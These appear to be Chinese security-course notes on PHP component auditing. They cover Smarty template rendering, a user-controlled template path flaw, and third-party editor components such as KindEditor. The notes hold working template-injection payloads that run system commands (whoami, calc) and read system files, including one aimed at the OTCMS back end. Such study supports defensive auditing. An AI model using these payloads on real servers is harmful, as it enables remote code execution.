PHP应用-组件框架前端模版渲染三方插件富文本编辑器CVE审计(2024小迪安全DAY30笔记)
文章目录
- 模板引擎
- 使用配置&方法
- 渲染文件受控
- 案例一:代码审计CMS:(由第三方应用引用导致安全问题)
- 插件组件(引用的第三方功能组件)
- 案例二:编译器漏洞
模板引擎
在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。
使用配置&方法
1、创建一个文件夹,命名为smarty-demo。
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>
4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>
渲染文件受控
漏洞利用:
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);
黑盒思路:
判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html
白盒思路:
1、使用smarty模版引擎
2、版本存在已知的CVE漏洞
3、可控的渲染文件或变量
CVE参考:
https://xz.aliyun.com/t/11108
https://www.cnblogs.com/magic-zero/p/8351974.html
POC:
*/phpinfo();//string:{include file=‘C:/Windows/win.ini’}
string:{function name='x(){};system(whoami);function '}{/function}
string:{$smarty.template_object->smarty->_getSmartyObj()->display(‘string:{system(whoami)}’)}
eval:{math equation=‘(“\163\171\163\164\145\155”)(“\167\150\157\141\155\151”)’}
执行过程:
1、攻击者输入POC
POC 的目的就是把攻击者控制的字符串构造成 Smarty 能当作“模板源(resource)”来编译的形式(常用前缀是 string:
/ eval:
),使引擎把该字符串写成 templates_c
下的 PHP 编译文件并在后续请求中执行它,从而把“用户输入”变成了“服务器端可执行代码”。
2、Smarty的渲染接口接收到string:…/eval:…等,会把参数当作模板源字符串来处理,而不是简单的文件路径。
— 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把“用户输入”直接变成了可编译的模板内容。
3、编译成PHP文件
4、PHP 执行编译文件
案例一:代码审计CMS:(由第三方应用引用导致安全问题)
网钛(OTCMS):
这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危
POC:
{otcms:$smarty.template_object->smarty->_getSmartyObj()->display(‘string:{otcms:system(calc)}’)}
注意:POC格式一定要按照可识别的格式编写
执行结果:网站首页弹出计算器
插件组件(引用的第三方功能组件)
编辑器,邮箱,图片处理等(看DAY30笔记)
目的是知道网站的某些功能可能依赖第三方组件 —— 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的“编译器”组件本身有漏洞
使用:
https://www.cnblogs.com/qq350760546/p/6669112.html
参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825
白盒思路:看手册,学习这个组件的使用方法
黑盒思路:看特征、看功能、识别语言是不是PHP
案例二:编译器漏洞
-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html